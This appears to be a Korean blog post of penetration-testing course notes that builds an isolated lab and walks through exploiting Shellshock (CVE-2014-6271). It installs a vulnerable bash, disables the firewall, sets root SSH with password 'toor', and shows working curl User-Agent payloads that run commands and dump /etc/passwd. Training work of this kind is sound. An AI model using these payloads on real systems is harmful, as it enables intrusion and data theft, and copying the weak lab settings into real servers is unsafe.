모의해킹 - 1 (교육 70일차)

SW·2023년 3월 7일
0

실습> Victim 다운로드

Windows XP
https://drive.google.com/file/d/1LZw19tw7Jb41Q5gmmF2xxkYMfd6ILkJO/view?usp=sharing

Windows 7 프로페셔널 64비트
https://download.microsoft.com/download/0/6/3/06365375-C346-4D65-87C7-EE41F55F736B/7601.24214.180801-1700.win7sp1_ldr_escrow_CLIENT_PROFESSIONAL_x64FRE_en-us.iso

BeeBox
https://sourceforge.net/projects/bwapp/files/bee-box/

실습> Attacker 다운로드

공식 사이트: https://www.kali.org

Kali Linux는 침투 테스트용 툴을 모아놓은 배포판이다.
-설치형 iso : 설치하는 이미지
-설치된 이미지형 7zip 으로 압축: 이미 설치하고 압축한 이미지

https://cdimage.kali.org/kali-2022.4/kali-linux-2022.4-vmware-amd64.7z

Official Documentation
https://www.kali.org/docs/

Tool Documentation
https://www.kali.org/tools/

https://www.kali.org/get-kali/

Installer Image: iso 파일
Virtual Machines: 설치한 이미지
WSL: 윈도우에 설치
https://cafe.naver.com/linuxmasternet/1851





>>> 네트워크 환경 <<<

- Kali Linux (https://www.kali.org)
  Attacker(공격자): attacker.linuxmaster.net  200.200.200.3
- Victim1, Target1(피해자): WinXP(클라이언트)
  victim1.linuxmaster.net 200.200.200.4
- Victim2, Target2(피해자): Win7(클라이언트)
  victim2.linuxmaster.net 200.200.200.5
- Victim3, Target3(피해자): CentOS 7(서버)
  victim3.linuxmaster.net 200.200.200.6
- Victim4, Target4(피해자): BeeBox (서버)
  victim4.linuxmaster.net 200.200.200.7

   Attacker    Victim1     Victim2     Victim3     Victim4
    Kali        WinXP        Win7      CentOS7     bee-box
   +-----+     +-----+     +-----+     +-----+     +-----+
   |     |     |     |     |     |     |     |     |     |
   |     |     |     |     |     |     |     |     |     |
   +-----+     +-----+     +-----+     +-----+     +-----+
      |           |           |           |           |
------+-----------+-----------+-----------+-----------+-------
     .3          .4          .5          .6          .7

                       200.200.200.0/24

실습> 백박스

Kali Linux와 비슷한 침투테스트 배포판이다.
https://www.backbox.org/download/

Parrot-security
https://www.parrotsec.org/download/

blackarch-linux
https://blackarch.org/downloads.html

실습> Attacker Kali Linux 설정하기

-Kali Linux
Attacker(공격자): attacker.linuxmaster.net 200.200.200.3

1. VM설정
kali-linux-2022.4-vmware-amd64.7z 파일을 여기에 풀기로 압축을 해제한다.
kali-linux-2022.4-vmware-amd64.vmwarevm 디렉터리를 내문서 -> Virtual Machines 이동한다.
kali-linux-2022.4-vmware-amd64.vmwarevm 디렉터리안에 kali-linux-2022.4-vmware-amd64.vmx 파일을 실행한다.

2. 로그인
예전 Kali Linux에는 root 접속할 수 있었지만 최신 버전의 Kali Linux에서는 root 로 직접 접근을 금지한다.
아래처럼 일반유저로 접속한다.

로그인에서 아래 정보로 로그인한다.
user: kali
passwd: kali

root 로 변경하기 위해서는 sudo su - 를 사용한다.

┌──(kali㉿kali)-[~]
└─$ sudo su -
[sudo] password for kali:  <-- kali 로 입력해서 로그인한다.

3. 네트워크 설정
vmnetcfg.exe를 실행해서 네트워크를 설정한다.
VMnet1: Host-only DHCP 10.10.10.0/24
VMnet2: Host-only DHCP 192.168.102.0/24
VMnet8: NAT DHCP 200.200.200.0/24

고정IP주소로 변경한다.
IP Address: 200.200.200.3
Subnet Mask: 255.255.255.0
Gateway: 200.200.200.2
DNS: 168.126.63.1, 168.126.63.2

4. IP 주소 확인
ip address 로 확인한다.

┌──(root㉿kali)-[~]
└─# ip a    
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:28:37:34 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.3/24 brd 200.200.200.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::3a0a:df6f:1140:3e0b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

5. 통신 확인
외부 통신이 되는지 확인한다.

┌──(root㉿kali)-[~]
└─# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=38.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=37.1 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=37.7 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=36.9 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 36.889/37.434/38.006/0.450 ms

실습> Kali Linux 설정 변경하기

1. 쉘 변경
쉘이 버전이 올라오면서 zsh -> bash로 변경한다.
# grep ^root /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
# usermod -s /bin/bash root
# usermod -s /bin/bash kali
# grep -E 'root|kali' /etc/passwd

2. ssh 로그인 변경
기본값은 ssh 서비스 실행되지 않기 때문에 ssh 설정파일을 수정한 후 반드시 시작한다.
ssh 를 root로 직접 접속할 수 있도록 변경한다.
# vi /etc/ssh/sshd_config
#PermitRootLogin prohibit-password
PermitRootLogin yes

# systemctl start ssh 
# systemctl enable ssh
# ss -nlt
# netstat -nltp

3. root 비밀번호 설정
예전 Kali Linux에서는 root의 비밀번호가 toor로 설정되어 있지만 최신 버전에서는 root의 비밀번호가 
설정되어 있지 않다. 그러므로 비밀번호를 toor로 설정한다.
# passwd           
New password:   <-- toor 입력
Retype new password:   <-- toor 입력
passwd: password updated successfully

4. 로그인
터미널을 열어서 Kali Linux로 로그인한다.

┌──(root㉿kali)-[~]
└─# 

5. 프롬프트 변경
프롬프트를 변경하고 싶다면 환경변수 PS1에 값을 저장하고 .bashrc 파일에 넣어주면 된다.
┌──(root㉿kali)-[~]
└─# echo PS1=\"[\\u@\\h \\W]\\\\$ \" >> .bashrc

┌──(root㉿kali)-[~]
└─# . .bashrc

[root@kali ~]# 

실습> Shell Shock 취약점

Bash 버그로도 알려진 Bash의 Shell Shock 취약성은 2014년 9월에 발견된 보안 결함이다.
2014년 9월 스테판 샤젤라스라는 사이버 보안 연구원에 의해 발견되었다.
Chazelas는 Akamai Technologies라고 불리는 컴퓨터 보안 회사에서 일하는 동안 이 취약성을 발견했다.
그는 Bash 버그를 이용함으로써 공격자가 잠재적으로 시스템을 제어하고 중요한 정보에 액세스할 수 있다는 것을 발견했다.
샤젤라스는 취약성을 미국 국토안보부 산하 국가사이버보안통신통합센터(NCCIC)에 보고했고 그 후 취약점이 대중들에게 공개되었고, 많은 소프트웨어 공급업체들은 이 문제를 해결하기 위한 패치를 신속하게 공개했다.

Bash는 리눅스, macOS 및 기타 유닉스 기반 운영 체제에서 널리 사용되는 인기 있는 유닉스 셸이다.
Shellshock 취약성은 Bash가 환경 변수를 처리하는 방식의 결함으로 인해 발생한다.
특히 공격자는 환경 변수에 악성 코드를 주입할 수 있으며 이는 Bash 셸이 열리거나 Bash 스크립트가 실행될 때 실행된다.
이를 통해 공격자는 잠재적으로 시스템을 제어하거나 중요한 정보에 액세스할 수 있다.

Bash가 널리 사용되고 많은 시스템이 공격에 취약하기 때문 Shell Shock 취약성이 상당했고 이 취약성은 대부분의 공급업체에 의해 신속하게 패치되었으며 사용자는 이 취약성으로부터 보호하기 위해 가능한 한 빨리 시스템을 업데이트해야 한다는 조언을 받았다.

Shell Shock 취약성을 이용하면 발생되는 문제들
o 임의 코드 실행: 공격자가 취약한 시스템에서 임의 코드(실행파일)를 실행할 수 있다.
o 무단 액세스: 시스템에 무단으로 액세스하고 암호, 신용 카드 번호 또는 기타 개인 데이터와 같은 중요한 정보를 도용할 수 있다.
o 멀웨어 감염: 시스템에 멀웨어를 설치한 다음 추가 공격을 수행하거나 추가 데이터를 도용하는 데 사용할 수 있다.
o 시스템 손상: 취약한 시스템을 완전히 제어하여 데이터를 수정, 삭제 또는 도용하고 다른 공격을 시작할 수 있다.
o 서비스 거부: 서비스 거부 공격을 시작하여 시스템 또는 네트워크의 정상적인 작동을 중단시킬 수 있다.

Shell Shock 취약성이 악용되는 다른 몇 가지 주목할 만한 사례
o 야후: 2014년 10월 야후의 서버들이 셸쇼크 취약점을 악용한 공격자들에 의해 표적이 되었고 공격자들은 이메일 주소, 전화번호, 생일과 같은 민감한 정보가 들어 있는 야후의 사용자 데이터베이스에 접근할 수 있었다.

o 미국 국방부: 미 국방부도 자사 서버에서 취약한 버전의 Bash를 실행하고 있는 것으로 드러났다.
취약성이 악용되었다는 증거는 없지만, 이 사건은 정부 기관의 패치되지 않은 시스템이 초래할 수 있는 잠재적 위험을 강조했다.

o 홈 라우터: 2015년에 연구원들은 많은 홈 라우터들이 셸쇼크 취약성에 취약하다는 것을 발견했다.
이는 공격자가 잠재적으로 라우터를 손상시키고 수백만 명의 홈 네트워크에 액세스할 수 있음을 의미했다.

o 산업용 제어 시스템: 2016년에 연구원들은 일부 산업 제어 시스템(ICS)이 쉘쇼크 취약성에 취약하다는 것을 발견했다.
이는 공격자들이 전력망과 수도, 가스 처리 시설과 같은 중요한 기반 시설을 목표로 할 수 있는 가능성에 대한 우려를 불러일으켰다.

이러한 예는 Shellshock 취약성의 영향을 받은 광범위한 시스템과 취약성의 악용으로 인한 잠재적 위험을 보여준다.
조직과 개인은 경계를 유지하고 이러한 유형의 공격으로부터 보호하기 위한 조치를 취하는 것이 중요하다.

실습> 셸 테스트

1. 함수 정의
a() 함수를 확인한다.
# a()
{
    echo Hello
}

2. 함수 확인
메모리에 만들어진 함수를 확인한다.
# set | tail
UID=0
USER=root
XDG_RUNTIME_DIR=/run/user/0
XDG_SESSION_ID=2
_='echo hello'
colors=/root/.dircolors
a () 
{ 
    echo Hello
}

3. 함수 실행

# a
Hello

4. 함수 정의
한 줄로 이어쓰기 위해는 ; 이 필요하다. 
; 이 없기 때문에 에러가 발생한 것이다.
# b() { echo hello }
> ;
-bash: syntax error near unexpected token `;'

; 이 있기 때문에 정상적으로 만들어진 것이다.
# b() { echo hello; }
# set | tail
_=a
colors=/root/.dircolors
a () 
{ 
    echo Hello
}
b () 
{ 
    echo hello
}

; 의 의미는 명령어를 이어쓰면 앞에 명령어가 실행되면 다음 명령어가 실행된다.
[root@localhost ~]# pwd; id; w
/root
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
 12:23:55 up 21 min,  2 users,  load average: 0.00, 0.01, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      12:03   19:15   0.03s  0.03s -bash
root     pts/0    200.200.200.1    12:05    3.00s  0.04s  0.00s w

실습> Shell Shock

Shell Shock CVE-2014-6271 로 명명되었다.

1. Shell Shock 취약점 확인
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test
# echo hello
hello
# bash -c "echo hello"
hello

2. 취약한 bash 설치
# yum -y install wget
# wget https://vault.centos.org/6.4/updates/x86_64/Packages/bash-4.1.2-15.el6_4.x86_64.rpm
# rpm -ivh bash-4.1.2-15.el6_4.x86_64.rpm --force

# bash --version
GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

3. Shell Shock 취약점 확인
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable      <-- 취약한 부분
this is a test
          
4. 웹서버 설치
웹서버를 설치하고 방화벽을 중지한 후 웹서버를 시작한다.
# yum -y install httpd
# systemctl stop firewalld
# systemctl start httpd

5. 웹 페이지 생성
# cd /var/www/cgi-bin
# vi shellShock.cgi
#!/bin/bash
# 파일명: shellShock.cgi
# 프로그램 설명: Shell Shock 를 위한 CGI 프로그램
# 작성자: 리눅스마스터넷
# 작성일: 2023. 03. 04. (토) 10:40:34 KST

cat << EOF
Content-type: text/html

<html>
<head>
 <meta charset="utf-8">
 <title> ::: Shell Shock CGI 취약점 ::: </title>
</head>
<body>
 웹서버에 오신 것을 환영합니다. <br>
 - 리눅스마스터넷 -
</body>
</html>
EOF

# chmod 755 shellShock.cgi

6. 웹 페이지 접근
Host OS에서 크롬을 이용해서 접속한다.
http://200.200.200.6/cgi-bin/shellShock.cgi
웹서버에 오신 것을 환영합니다.
- 리눅스마스터넷 -

lynx: 텍스트용 웹브라우저

# yum -y install lynx
# lynx --dump http://200.200.200.6/cgi-bin/shellShock.cgi
   웹서버에 오신 것을 환영합니다.
   - 리눅스마스터넷 -

# curl http://200.200.200.6/cgi-bin/shellShock.cgi
<html>
<head>
 <meta charset="utf-8">
 <title> ::: Shell Shock CGI 취약점 ::: </title>
</head>
<body>
 웹서버에 오신 것을 환영합니다. <br>
 - 리눅스마스터넷 -
</body>
</html>


7. 로그 모니터링
웹서버가 설치된 200.200.200.6에서 실행한다.

# tail -f /var/log/httpd/access_log 

크롬에서 접속할 때 기록되는 로그
200.200.200.1 - - [06/Mar/2023:12:45:41 +0900] "GET /cgi-bin/shellShock.cgi HTTP/1.1" 200 198 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"

lynx에서 접속할 때 기록되는 로그
200.200.200.6 - - [06/Mar/2023:12:46:27 +0900] "GET /cgi-bin/shellShock.cgi HTTP/1.0" 200 198 "-" "Lynx/2.8.8dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/1.0.1e-fips"

curl에서 접속할 때 기록되는 로그
200.200.200.6 - - [06/Mar/2023:12:46:46 +0900] "GET /cgi-bin/shellShock.cgi HTTP/1.1" 200 198 "-" "curl/7.29.0"


브라우저에 Request Header에 저장되서 서버에 전송한다.
크롬에서는 F12(개발자 도구) -> Network -> Headers에서 확인할 수 있다.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.3

8. 공격 시도

형식: curl -H 'User-Agent: () { :; }; echo; 명령어' http://200.200.200.6:80/cgi-bin/shellShock.cgi
# curl -H 'User-Agent: () { :; }; echo; /bin/id' http://200.200.200.6:80/cgi-bin/shellShock.cgi
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_sys_script_t:s0

# curl -H 'User-Agent: () { :; }; echo; /bin/cat /etc/passwd' http://200.200.200.6:80/cgi-bin/shellShock.cgi
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
  :
  :(생략)

[root@kali ~]# ping -c 4 200.200.200.6
PING 200.200.200.6 (200.200.200.6) 56(84) bytes of data.
64 bytes from 200.200.200.6: icmp_seq=1 ttl=64 time=1.03 ms
64 bytes from 200.200.200.6: icmp_seq=2 ttl=64 time=0.356 ms
64 bytes from 200.200.200.6: icmp_seq=3 ttl=64 time=0.277 ms
64 bytes from 200.200.200.6: icmp_seq=4 ttl=64 time=0.720 ms

--- 200.200.200.6 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3046ms
rtt min/avg/max/mdev = 0.277/0.596/1.034/0.302 ms

[root@kali ~]# curl -H 'User-Agent: () { :; }; echo; /bin/cat /etc/passwd' http://200.200.200.6:80/cgi-bin/shellShock.cgi
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
profile
정보보안 전문가

0개의 댓글